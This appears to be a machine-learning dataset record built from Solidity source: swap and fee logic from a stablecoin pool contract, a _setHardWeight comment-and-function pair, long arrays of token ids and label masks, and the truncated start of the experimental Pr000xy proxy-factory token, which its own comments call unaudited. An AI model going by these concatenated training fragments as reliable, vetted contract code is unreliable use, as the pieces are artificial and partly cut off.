_tokenInfos[bTokenIdx],
bTokenAmount.sub(fee),
fee.mul(_adminFeePct).div(W_ONE)
);
emit Redeem(msg.sender, bTokenAmount, lpAmount);
}
/**************************************************************************************
* Methods for swapping tokens
*************************************************************************************/
/*
* @dev Return the maximum amount of token can be withdrawn after depositing another token.
* @param bTokenIdIn - the id of the token to be deposited
* @param bTokenIdOut - the id of the token to be withdrawn
* @param bTokenInAmount - the amount (unnormalized) of the token to be deposited
*/
function getSwapAmount(
uint256 bTokenIdxIn,
uint256 bTokenIdxOut,
uint256 bTokenInAmount
)
external
view
returns (uint256 bTokenOutAmount)
{
uint256 infoIn = _tokenInfos[bTokenIdxIn];
uint256 infoOut = _tokenInfos[bTokenIdxOut];
(bTokenOutAmount,) = _getSwapAmount(infoIn, infoOut, bTokenInAmount);
}
function _getSwapAmount(
uint256 infoIn,
uint256 infoOut,
uint256 bTokenInAmount
)
internal
view
returns (uint256 bTokenOutAmount, uint256 adminFee)
{
require(bTokenInAmount > 0, "Amount must be greater than 0");
require(infoIn != 0, "Backed token is not found!");
require(infoOut != 0, "Backed token is not found!");
require (infoIn != infoOut, "Tokens for swap must be different!");
// Gas saving: Use cached totalBalance without accrued interest since last rebalance.
// Here we assume that the interest earned from the underlying platform is too small to
// impact the result significantly.
uint256 totalBalance = _totalBalance;
uint256 tidInBalance = _getBalance(infoIn);
uint256 sMinted = 0;
uint256 softWeight = _getSoftWeight(infoIn);
uint256 hardWeight = _getHardWeight(infoIn);
{ // avoid stack too deep error
uint256 bTokenInAmountNormalized = bTokenInAmount.mul(_normalizeBalance(infoIn));
sMinted = _getMintAmount(
bTokenInAmountNormalized,
totalBalance,
tidInBalance,
softWeight,
hardWeight
);
totalBalance = totalBalance.add(bTokenInAmountNormalized);
tidInBalance = tidInBalance.add(bTokenInAmountNormalized);
}
uint256 tidOutBalance = _getBalance(infoOut);
// Find the bTokenOutAmount, only account for penalty from bTokenIdxIn
// because other tokens should not have penalty since
// bTokenOutAmount <= sMinted <= bTokenInAmount (normalized), and thus
// for other tokens, the percentage decreased by bTokenInAmount will be
// >= the percetnage increased by bTokenOutAmount.
bTokenOutAmount = _redeemFindOne(
tidOutBalance,
totalBalance,
tidInBalance,
sMinted,
softWeight,
hardWeight
).div(_normalizeBalance(infoOut));
uint256 fee = bTokenOutAmount.mul(_swapFee).div(W_ONE);
adminFee = fee.mul(_adminFeePct).div(W_ONE);
bTokenOutAmount = bTokenOutAmount.sub(fee);
}
/*
* @dev Swap a token to another.
* @param bTokenIdIn - the id of the token to be deposited
* @param bTokenIdOut - the id of the token to be withdrawn
* @param bTokenInAmount - the amount (unnormalized) of the token to be deposited
* @param bTokenOutMin - the mininum amount (unnormalized) token that is expected to be withdrawn
*/
function swap(
uint256 bTokenIdxIn,
uint256 bTokenIdxOut,
uint256 bTokenInAmount,
uint256 bTokenOutMin
)
external
nonReentrantAndUnpausedV1
{
uint256 infoIn = _tokenInfos[bTokenIdxIn];
uint256 infoOut = _tokenInfos[bTokenIdxOut];
(
uint256 bTokenOutAmount,
uint256 adminFee
) = _getSwapAmount(infoIn, infoOut, bTokenInAmount);
require(bTokenOutAmount >= bTokenOutMin, "Returned bTokenAmount < asked");
_transferIn(infoIn, bTokenInAmount);
_transferOut(infoOut, bTokenOutAmount, adminFee);
emit Swap(
msg.sender,
bTokenIdxIn,
bTokenIdxOut,
bTokenInAmount,
bTokenOutAmount
);
}
/*
* @dev Swap tokens given all token amounts
* The amounts are pre-fee amounts, and the user will provide max fee expected.
* Currently, do not support penalty.
* @param inOutFlag - 0 means deposit, and 1 means withdraw with highest bit indicating mint/burn lp token
* @param lpTokenMintedMinOrBurnedMax - amount of lp token to be minted/burnt
* @param maxFee - maximum percentage of fee will be collected for withdrawal
* @param amounts - list of unnormalized amounts of each token
*/
function swapAll(
uint256 inOutFlag,
uint256 lpTokenMintedMinOrBurnedMax,
uint256 maxFee,
uint256[] calldata amounts
)
external
nonReentrantAndUnpausedV1
{
// Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance.
(
uint256[] memory balances,
uint256[] memory infos,
uint256 oldTotalBalance
) = _getBalancesAndInfos();
// Make sure _totalBalance = oldTotalBalance = sum(_getBalance()'s)
_collectReward(oldTotalBalance);
require (amounts.length == balances.length, "swapAll amounts length != ntokens");
uint256 newTotalBalance = 0;
uint256 depositAmount = 0;
{ // avoid stack too deep error
uint256[] memory newBalances = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
uint256 normalizedAmount = _normalizeBalance(infos[i]).mul(amounts[i]);
if (((inOutFlag >> i) & 1) == 0) {
// In
depositAmount = depositAmount.add(normalizedAmount);
newBalances[i] = balances[i].add(normalizedAmount);
} else {
// Out
newBalances[i] = balances[i].sub(normalizedAmount);
}
newTotalBalance = newTotalBalance.add(newBalances[i]);
}
for (uint256 i = 0; i < balances.length; i++) {
// If there is no mint/redeem, and the new total balance >= old one,
// then the weight must be non-increasing and thus there is no penalty.
if (amounts[i] == 0 && newTotalBalance >= oldTotalBalance) {
continue;
}
/*
* Accept the new amount if the following is satisfied
* np_i <= max(p_i, w_i)
*/
if (newBalances[i].mul(W_ONE) <= newTotalBalance.mul(_getSoftWeight(infos[i]))) {
continue;
}
// If no tokens in the pool, only weight contraints will be applied.
require(
oldTotalBalance != 0 &&
newBalances[i].mul(oldTotalBalance) <= newTotalBalance.mul(balances[i]),
"penalty is not supported in swapAll now"
);
}
}
// Calculate fee rate and mint/burn LP tokens
uint256 feeRate = 0;
uint256 lpMintedOrBurned = 0;
if (newTotalBalance == oldTotalBalance) {
// Swap only. No need to burn or mint.
lpMintedOrBurned = 0;
feeRate = _swapFee;
} else if (((inOutFlag >> 255) & 1) == 0) {
require (newTotalBalance >= oldTotalBalance, "swapAll mint: new total balance must >= old total balance");
lpMintedOrBurned = newTotalBalance.sub(oldTotalBalance).mul(totalSupply()).div(oldTotalBalance);
require(lpMintedOrBurned >= lpTokenMintedMinOrBurnedMax, "LP tokend minted < asked");
feeRate = _swapFee;
_mint(msg.sender, lpMintedOrBurned);
} else {
require (newTotalBalance <= oldTotalBalance, "swapAll redeem: new total balance must <= old total balance");
lpMintedOrBurned = oldTotalBalance.sub(newTotalBalance).mul(totalSupply()).div(oldTotalBalance);
require(lpMintedOrBurned <= lpTokenMintedMinOrBurnedMax, "LP tokend burned > offered");
uint256 withdrawAmount = oldTotalBalance - newTotalBalance;
/*
* The fee is determined by swapAmount * swap_fee + withdrawAmount * withdraw_fee,
* where swapAmount = depositAmount if withdrawAmount >= 0.
*/
feeRate = _swapFee.mul(depositAmount).add(_redeemFee.mul(withdrawAmount)).div(depositAmount + withdrawAmount);
_burn(msg.sender, lpMintedOrBurned);
}
emit SwapAll(msg.sender, amounts, inOutFlag, lpMintedOrBurned);
require (feeRate <= maxFee, "swapAll fee is greater than max fee user offered");
for (uint256 i = 0; i < balances.length; i++) {
if (amounts[i] == 0) {
continue;
}
if (((inOutFlag >> i) & 1) == 0) {
// In
_transferIn(infos[i], amounts[i]);
} else {
// Out (with fee)
uint256 fee = amounts[i].mul(feeRate).div(W_ONE);
uint256 adminFee = fee.mul(_adminFeePct).div(W_ONE);
_transferOut(infos[i], amounts[i].sub(fee), adminFee);
}
}
}
/**************************************************************************************
* Methods for others
*************************************************************************************/
/* @dev Collect admin fee so that _totalBalance == sum(_getBalances()'s) */
function _collectReward(uint256 totalBalance) internal {
uint256 oldTotalBalance = _totalBalance;
if (totalBalance != oldTotalBalance) {
if (totalBalance > oldTotalBalance) {
_mint(_rewardCollector, totalSupply().mul(totalBalance - oldTotalBalance).div(oldTotalBalance));
}
_totalBalance = totalBalance;
}
}
/* @dev Collect admin fee. Can be called by anyone */
function collectReward()
external
nonReentrantAndUnpausedV1
{
(,,,uint256 totalBalance) = _getBalancesAndWeights();
_collectReward(totalBalance);
}
function getTokenStats(uint256 bTokenIdx)
public
view
returns (uint256 softWeight, uint256 hardWeight, uint256 balance, uint256 decimals)
{
require(bTokenIdx < _ntokens, "Backed token is not found!");
uint256 info = _tokenInfos[bTokenIdx];
balance = _getBalance(info).div(_normalizeBalance(info));
softWeight = _getSoftWeight(info);
hardWeight = _getHardWeight(info);
decimals = ERC20(address(info)).decimals();
}
}
// File: contracts/Root.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract Root is UpgradeableExtension, SmoothyV1 {
constructor(
address[] memory tokens,
address[] memory yTokens,
uint256[] memory decMultipliers,
uint256[] memory softWeights,
uint256[] memory hardWeights
)
public
UpgradeableExtension()
SmoothyV1(tokens, yTokens, decMultipliers, softWeights, hardWeights)
{ }
function upgradeTo(address newImplementation) external onlyOwner {
_upgradeTo(newImplementation);
}
} | Only maintain 1e6 resolution. | function _setHardWeight(
uint256 info,
uint256 w
)
internal
pure
returns (uint256 newInfo)
{
require (w <= W_ONE, "hard weight must <= 1e18");
newInfo = info & ~(((U256_1 << 20) - 1) << 180);
newInfo = newInfo | ((w / 1e12) << 180);
}
| 523,959 | [
1,
3386,
17505,
404,
73,
26,
7861,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
542,
29601,
6544,
12,
203,
3639,
2254,
5034,
1123,
16,
203,
3639,
2254,
5034,
341,
203,
565,
262,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
11890,
5034,
394,
966,
13,
203,
565,
288,
203,
3639,
2583,
261,
91,
1648,
678,
67,
5998,
16,
315,
20379,
3119,
1297,
1648,
404,
73,
2643,
8863,
203,
203,
3639,
394,
966,
273,
1123,
473,
4871,
12443,
12,
57,
5034,
67,
21,
2296,
4200,
13,
300,
404,
13,
2296,
9259,
1769,
203,
3639,
394,
966,
273,
394,
966,
571,
14015,
91,
342,
404,
73,
2138,
13,
2296,
9259,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.1;
// Pr000xy - a public utility ERC20 for creating & claiming transparent proxies
// with gas-efficient addresses. Tokens are minted when specific salts or nonces
// are submitted that result in the creation of new proxies with more zero bytes
// than usual. They are then burned when transferring ownership of those proxies
// from the contract to the claimer. Pr000xy also allows for bounties to be
// placed on matching proxy addresses to a set of conditions (i.e. finding
// custom vanity addresses).
//
// A detailed description with additional context can be found here:
//
// https://medium.com/@0age/on-efficient-ethereum-addresses-3fef0596e263
//
// DISCLAIMER: DO NOT HODL THIS TOKEN! Pr000xy may technically be an ERC20
// token, but makes for a TERRIBLE "investment" for a whole bunch of reasons,
// such as:
// * The code is unaudited, mostly untested, and highly experimental, and so
// should not be considered secure by any measure (this goes for placing
// offers as well - don't put up any offer that you're not prepared to lose),
// * The token itself is highly deflationary, meaning that it will almost
// certainly decrease in value as address mining becomes more efficient,
// * The token's value will be highly volatile and total supply will fluctuate
// greatly, as creation of new, comparatively rare addresses will issue a
// massive number of tokens at once,
// * The token will be vulnerable to "shadow mining", where miners can wait to
// submit discovered addresses and instead submit a large group all at once,
// making it a target for manipulation,
// * The token contract itself will likely become obsolete as better methods
// for performing this functionality become available and new versions come
// online... and no, there will be no way to "convert your tokens to the new
// version", because
// * There's no organization, group, collective, or whatever backing the
// tokens, and they're not a claim on any asset, voting right, share, or
// anything at all except for that they can be burned in order to take
// ownership of an unclaimed proxy.
//
// TO REITERATE: this should NOT be considered an investment of any kind! There
// is no ICO or token sale - don't be a giver-of-ETH to a scammer.
import "./token/ERC20.sol";
import "./token/ERC20Detailed.sol";
import "./Pr000xyInterface.sol";
/**
* @title Interface for each created proxy contract. Only the administrator of
* the proxy may use these methods - for any other caller, the proxy is totally
* transparent and will simply reroute to the fallback function which then uses
* delegatecall to forward the call to the proxy's implementation contract.
*/
interface AdminUpgradeabilityProxyInterface {
function upgradeTo(address) external;
function upgradeToAndCall(address, bytes calldata) external payable;
function changeAdmin(address) external;
function admin() external view returns (address);
}
/**
* @title Interface to a registry contract containing reward function values.
*/
interface Pr000xyRewardsInterface {
function getPr000xyReward(uint24) external view returns (uint256);
}
/**
* @title Logic contract initially set on each created proxy contract.
*/
contract InitialProxyImplementation {
function test() external pure returns (bool) {
return true;
}
}
/**
* @title Pr000xy - a public utility ERC20 for creating & claiming transparent
* upgradeable proxies with gas-efficient account addresses.
* @author 0age
* @notice Tokens are minted when specific salts or nonces are submitted that
* result in the creation of new proxies with more zero bytes than usual. They
* are then burned when transferring ownership of those proxies from the
* contract to the claimer. Pr000xy also allows for additional bounties to be
* placed on matching proxy addresses to a set of conditions (i.e. finding
* custom vanity addresses).
* @dev This contract is an upgradeable proxy factory, where each created proxy
* uses the same initialization code. The initialization code to be used is
* provided as a constructor argument, with the expectation that it implements
* the AdminUpgradeabilityProxy interface above. The initialization code used
* for Pr000xy is a slightly modified version (with a stripped down constructor
* but the same code once fully-instantiated) of the AdminUpgradeabilityProxy
* contract by Zeppelin, used in zOS v2.0, which can be found here:
*
* https://github.com/zeppelinos/zos/blob/master/packages/lib/contracts/
* upgradeability/AdminUpgradeabilityProxy.sol
*
* Creating proxies through Pr000xy requires support for CREATE2, which will not
* be available until (at least) block 7,080,000. This contract has not yet been
* fully tested or audited - proceed with caution and please share any exploits
* or optimizations you discover.
*/
contract Pr000xy is ERC20, ERC20Detailed, Pr000xyInterface {
/**
* @dev Filter conditions in the search space when making and matching offers.
*/
enum Condition { // nibble (1 hex character, 1/2 byte)
NoMatch, // 0
MatchCaseInsensitive, // 1
MatchUpperCase, // 2
MatchLowerCase, // 3
MatchRangeLessThanCaseInsensitive, // 4
MatchRangeGreaterThanCaseInsensitive, // 5
MatchRangeLessThanUpperCase, // 6
MatchRangeGreaterThanUpperCase, // 7
MatchRangeLessThanLowerCase, // 8
MatchRangeGreaterThanLowerCase, // 9
MatchAgainstPriorCaseInsensitive, // 10 (a)
MatchAgainstInitialCaseInsensitive, // 11 (b)
MatchAgainstPriorCaseSensitive, // 12 (c)
MatchAgainstInitialCaseSensitive, // 13 (d)
NoMatchNoUpperCase, // 14 (e)
NoMatchNoLowerCase // 15 (f)
}
/**
* @dev Parameters of an open offer for a proxy matching a set of constraints.
*/
struct Offer {
uint256 id; // the offer ID
uint256 amount; // value offered for a match
uint256 expiration; // timestamp for when offer is no longer valid
bytes20 searchSpace; // each nibble designates a particular filter condition
address target; // match each nibble of the proxy given the search space
address payable offerer; // address staking funds & burning tokens if needed
address recipient; // address where proxy ownership will be transferred
}
/**
* @dev Parameters for locating a value at the appropriate index.
*/
struct Location {
bool exists; // whether the value exists or not
uint256 index; // index of the value in the relevant array
}
/**
* @dev Boolean that indicates whether contract initialization is complete.
*/
bool public initialized;
/**
* @dev Address that points to starting implementation for created proxies.
*/
address private _targetImplementation;
/**
* @dev The block of initialization code to use when creating proxies.
*/
bytes private _initCode;
/**
* @dev The hash of the initialization code used to create proxies.
*/
bytes32 private _initCodeHash;
/**
* @dev Mapping with arrays of tracked proxies for leading & total zero bytes.
*/
mapping(uint256 => mapping(uint256 => address[])) private _proxies;
/**
* @dev Array with outstanding offer details.
*/
Offer[] private _offers;
/**
* @dev Mapping for locating the appropriate index of a given proxy.
*/
mapping(address => Location) private _proxyLocations;
/**
* @dev Mapping for locating the appropriate index of a given offer.
*/
mapping(uint256 => Location) private _offerLocations;
/**
* @dev Mapping with appropriate rewards for each address zero byte "combo".
* The key is calculated as (starting zero bytes) * 20 + (total zero bytes).
* The calculated amounts can be verified by running the following script:
*
* https://gist.github.com/0age/d55d8315c2119adfba3cc90b3f5c15df
*
*/
mapping(uint24 => uint256) private _rewards;
/**
* @dev Address that points to the registry containing token reward amounts.
*/
Pr000xyRewardsInterface private _rewardsInitializer;
/**
* @dev Counter for tracking incremental assignment of token reward amounts.
*/
uint24 private _initializationCounter;
/**
* @dev In the constructor, deploy and set the initial target implementation
* for created proxies, then set the initialization code for said proxies as
* well as a supplied address linking to a registry of token reward values.
* @param rewardsRegistry address The address of the token rewards registry.
* @param proxyInitCode bytes The initialization code used to deploy each
* proxy. Validation could optionally be performed on a mock proxy in the
* constructor to ensure that the interface works as expected. The contract
* expects that the submitted initialization code will take a 32-byte-padded
* address as the last parameter, and also that said parameter will be left
* off of the initialization code, as this constructor will populate it using
* the address of a freshly deployed target implementation.
*/
constructor(
address rewardsRegistry,
bytes memory proxyInitCode
) public ERC20Detailed("Pr000xy", "000", 0) {
// deploy logic contract to serve as initial implementation for each proxy.
_targetImplementation = address(new InitialProxyImplementation());
// construct and store initialization code that will be used for each proxy.
_initCode = abi.encodePacked(
proxyInitCode, // the initialization code for the proxy without arguments
hex"000000000000000000000000", // padding in front of the address argument
_targetImplementation // the implementation address (constructor argument)
);
// hash and store the contract initialization code.
_initCodeHash = keccak256(abi.encodePacked(_initCode));
// set up reward values in the initialization function using the registry.
_rewardsInitializer = Pr000xyRewardsInterface(rewardsRegistry);
// start the counter at the first rewards registry key with non-zero value.
_initializationCounter = 5;
}
/**
* @dev In initializer, call into rewards registry to populate return values.
*/
function initialize() external {
require(!initialized, "Contract has already been initialized.");
// pick up where initializer left off by designating an in-memory counter.
uint24 i = _initializationCounter;
// iterate through each key, up to largest key (420) until gas is exhausted.
while (i < 421 && gasleft() > 30000) {
// get the relevant reward amount for the given key from the registry.
_rewards[i] = _rewardsInitializer.getPr000xyReward(i);
// increment the in-memory counter.
i++;
}
// write in-memory counter to storage to pick up assignment from this stage.
_initializationCounter = i;
// mark initialization as complete once counter exceeds the largest key.
if (_initializationCounter == 421) {
initialized = true;
}
}
/**
* @dev Create an upgradeable proxy, add to collection, and pay reward if
* applicable. Pr000xy will be set as the initial as admin, and the target
* implementation will be set as the initial implementation (logic contract).
* @param salt bytes32 The nonce that will be passed into create2. The first
* 20 bytes of the salt must match those of the calling address.
* @return Address of the new proxy.
*/
function createProxy(bytes32 salt) external containsCaller(salt) returns (
address proxy
) {
// deploy the proxy using the provided salt.
proxy = _deployProxy(salt, _initCode);
// ensure that the proxy was successfully deployed.
_requireSuccessfulDeployment(proxy);
// set up the proxy: place it into storage, pay any reward, and emit events.
_processDeployment(proxy);
}
/**
* @dev Claims an upgradeability proxy, removes from collection, burns value.
* Specify an admin and a new implementation (logic contract) to point to.
* @param proxy address The address of the proxy.
* @param owner address The new owner of the claimed proxy. Note that this
* field is independent of the claimant - the claimant (msg.sender) must burn
* the required tokens, but the owner will actually control the proxy.
* Providing the null address (0x0) will fallback to setting msg.sender as the
* owner of the proxy.
* @param implementation address the logic contract to be set on the claimed
* proxy. Providing the null address (0x0) causes setting a new implementation
* to be skipped.
* @param data bytes Optional parameter for calling an initializer on the new
* implementation immediately after it has been set. Not providing any bytes
* will bypass this step.
* @return The address of the new proxy.
*/
function claimProxy(
address proxy,
address owner,
address implementation,
bytes calldata data
) external proxyExists(proxy) {
// calculate total number of leading and trailing zero bytes, respectively.
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
// find the index of the proxy by address.
uint256 proxyIndex = _proxyLocations[proxy].index;
// pop the requested proxy out of the appropriate array.
_popProxyFrom(leadingZeroBytes, totalZeroBytes, proxyIndex);
// set up the proxy with the provided implementation and owner.
_transferProxy(proxy, implementation, owner, data);
// burn tokens from the claiming address if applicable and emit an event.
_finalizeClaim(
msg.sender,
proxy,
_getValue(leadingZeroBytes, totalZeroBytes)
);
}
/**
* @dev Claims the last proxy created in a given category, removes from
* collection, and burns value. Specify an admin and a new implementation
* (logic contract) to point to (set to null address to leave set to current).
* NOTE: this method does not support calling an initialization function.
* @param leadingZeroBytes uint256 The number of leading zero bytes in the
* claimed proxy.
* @param totalZeroBytes uint256 The total number of zero bytes in the
* claimed proxy.
* @param owner address The new owner of the claimed proxy. Note that this
* field is independent of the claimant - the claimant (msg.sender) must burn
* the required tokens, but the owner will actually control the proxy.
* Providing the null address (0x0) will fallback to setting msg.sender as the
* owner of the proxy.
* @param implementation address the logic contract to be set on the claimed
* proxy. Providing the null address (0x0) causes setting a new implementation
* to be skipped.
* @param data bytes Optional parameter for calling an initializer on the new
* implementation immediately after it has been set. Not providing any bytes
* will bypass this step.
* @return The address of the new proxy.
*/
function claimLatestProxy(
uint256 leadingZeroBytes,
uint256 totalZeroBytes,
address owner,
address implementation,
bytes calldata data
) external returns (address proxy) {
// get the length of the relevant array.
uint256 proxyCount = _proxies[leadingZeroBytes][totalZeroBytes].length;
// ensure that there is at least one proxy in the relevant array.
require(
proxyCount > 0,
"No proxies found that correspond to the given zero byte arguments."
);
// pop the most recent proxy out of the last item in the appropriate array.
proxy = _popProxy(leadingZeroBytes, totalZeroBytes);
// set up the proxy with the provided implementation and owner.
_transferProxy(proxy, implementation, owner, data);
// burn tokens from the claiming address if applicable and emit an event.
_finalizeClaim(
msg.sender,
proxy,
_getValue(leadingZeroBytes, totalZeroBytes)
);
}
/**
* @dev Make an offer for a proxy that matches a given set of constraints. A
* value (in ether) may be attached to the offer and will be paid to anyone
* who submits a transaction identifying a match between an offer and a proxy.
* Note that the required number of Pr000xy tokens, if any, will still need to
* be burned from the address making the offer in order for the proxy to be
* claimed. However, for proxy addresses that are not gas-efficient, the token
* will not be required at all in order to match an offer.
* @param searchSpace bytes20 A sequence of bytes that determines which areas
* of the target address should be matched against. The 0x00 byte means that
* the target byte can be skipped, otherwise each nibble represents a
* different filter condition as indicated by the Condition enum.
* @param target address The targeted address, with each relevant byte and
* nibble determined by the corresponding byte in searchSpace.
* @param target address The address to be assigned as the administrator of
* the proxy once it has been created and matched with the offer. Providing
* the null address (0x0) will fallback to setting recipient to msg.sender.
*/
function makeOffer(
bytes20 searchSpace, // each nibble designates a particular filter condition
address target, // match each nibble of the proxy given search space
address recipient // the administrator to be assigned to the proxy
) external payable returns (uint256 offerID) {
// ensure that offer is valid (i.e. search space and target don't conflict).
_requireOfferValid(searchSpace, target);
// use the caller's address as a fallback if a recipient is not specified.
address recipientFallback = (
recipient == address(0) ? msg.sender : recipient
);
// generate the offerID based on arguments, state, blockhash & array length.
offerID = uint256(
keccak256(
abi.encodePacked(
msg.sender,
msg.value,
searchSpace,
target,
recipientFallback,
blockhash(block.number - 1),
_offers.length
)
)
);
// ensure that duplicate offer IDs are not created "on accident".
while (_offerLocations[offerID].exists) {
offerID = uint256(keccak256(abi.encodePacked(offerID)));
}
// populate an Offer struct with the details of the offer.
Offer memory offer = Offer({
id: offerID,
amount: msg.value,
expiration: 0,
searchSpace: searchSpace,
target: target,
offerer: msg.sender,
recipient: recipientFallback
});
// set the offer in the offer location mapping.
_offerLocations[offerID] = Location({
exists: true,
index: _offers.length
});
// add the offer to the relevant array.
_offers.push(offer);
// emit an event to track that the offer was created.
emit OfferCreated(offerID, msg.sender, msg.value);
}
/**
* @dev Match an offer to a proxy and claim the amount offered for finding it.
* Note that this function is susceptible to front-running in current form.
* @param proxy address The address of the proxy.
* @param offerID uint256 The ID of the offer to match and fulfill.
*/
function matchOffer(
address proxy,
uint256 offerID
) external proxyExists(proxy) offerExists(offerID) {
// remove the offer from storage by index location and place it into memory.
Offer memory offer = _popOfferFrom(_offerLocations[offerID].index);
// ensure that the offer has not expired.
_requireOfferNotExpired(offer.expiration);
// check that the match is good.
_requireValidMatch(proxy, offer.searchSpace, offer.target);
// calculate total number of leading and trailing zero bytes, respectively.
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
// burn tokens from the claiming address if applicable and emit an event.
_finalizeClaim(
offer.offerer,
proxy,
_getValue(leadingZeroBytes, totalZeroBytes)
);
// pop the requested proxy out of the collection by index location.
_popProxyFrom(
leadingZeroBytes,
totalZeroBytes,
_proxyLocations[proxy].index
);
// transfer ownership, mark as fulfilled, make payment, and emit an event.
_processOfferFulfillment(proxy, offer);
}
/**
* @dev Create an upgradeable proxy and immediately match it with an offer.
* @param salt bytes32 The nonce that will be passed into create2. The first
* 20 bytes of the salt must match those of the calling address.
* @param offerID uint256 The ID of the offer to match.
* @return The address of the new proxy.
*/
function createAndMatch(
bytes32 salt,
uint256 offerID
) external offerExists(offerID) containsCaller(salt) {
// remove the offer from storage array by index and place it into memory.
Offer memory offer = _popOfferFrom(_offerLocations[offerID].index);
// ensure that the offer has not expired.
_requireOfferNotExpired(offer.expiration);
// create the proxy.
address proxy = _deployProxy(salt, _initCode);
// ensure that the proxy was successfully deployed.
_requireSuccessfulDeployment(proxy);
// check that the match is good.
_requireValidMatch(proxy, offer.searchSpace, offer.target);
// get reward value for minting to creator and burning from match recipient.
uint256 proxyTokenValue = _getReward(proxy);
// mint tokens to the creator if applicable and emit an event.
_finalizeDeployment(proxy, proxyTokenValue);
// burn tokens from the claiming address if applicable and emit an event.
_finalizeClaim(offer.offerer, proxy, proxyTokenValue);
// transfer ownership, mark as fulfilled, make payment, and emit an event.
_processOfferFulfillment(proxy, offer);
}
/**
* @dev Create an upgradeable proxy and immediately claim it. No tokens will
* be minted or burned in the process. Leave the implementation address set to
* the null address to skip changing the implementation.
* @param salt bytes32 The nonce that will be passed into create2. The first
* 20 bytes of the salt must match those of the calling address.
* @param owner address The owner to assign to the claimed proxy. Providing
* the null address (0x0) will fallback to setting msg.sender as the owner of
* the proxy.
* @param implementation address the logic contract to be set on the claimed
* proxy. Providing the null address (0x0) causes setting a new implementation
* to be skipped.
* @param data bytes Optional parameter for calling an initializer on the new
* implementation immediately after it is set. Not providing any bytes will
* bypass this step.
* @return The address of the new proxy.
*/
function createAndClaim(
bytes32 salt,
address owner,
address implementation,
bytes calldata data
) external containsCaller(salt) returns (address proxy) {
// deploy the proxy using the provided salt.
proxy = _deployProxy(salt, _initCode);
// immediately assign the proxy to the provided implementation and owner.
_transferProxy(proxy, implementation, owner, data);
// emit an event to track that proxy was created and simultaneously claimed.
emit ProxyCreatedAndClaimed(msg.sender, proxy);
}
/**
* @dev Create a group of upgradeable proxies, add to collection, and pay the
* aggregate reward. This contract will be initially set as the admin, and
* the test implementation will be set as the initial target implementation.
* If a particular proxy creation fails, it will be skipped without causing
* the entire batch to revert. Also note that no tokens are minted until the
* end of the batch.
* @param salts bytes32[] The nonces that will be passed into create2. The
* first 20 bytes of each salt must match those of the calling address.
* @return Addresses of the new proxies.
*/
function batchCreate(
bytes32[] calldata salts
) external returns (address[] memory proxies) {
// initialize a fixed-size array, as arrays in memory cannot be resized.
address[] memory processedProxies = new address[](salts.length);
// track the total number of tokens to mint at the end of the batch.
uint256 totalTokenValue;
// track the current proxy's deployment address.
address proxy;
// variable for checking if the current proxy is already deployed.
bool proxyAlreadyCreated;
// iterate through each provided salt argument.
for (uint256 i; i < salts.length; i++) {
// do not deploy if the caller is not properly encoded in salt argument.
if (address(bytes20(salts[i])) != msg.sender) continue;
// determine contract address where the proxy contract will be created.
(, proxyAlreadyCreated) = _proxyCreationDryRun(salts[i]);
// do not deploy the proxy if it has already been created.
if (proxyAlreadyCreated) continue;
// deploy the proxy using the provided salt.
proxy = _deployProxy(salts[i], _initCode);
// increase number of tokens to mint by output of proxy deploy process.
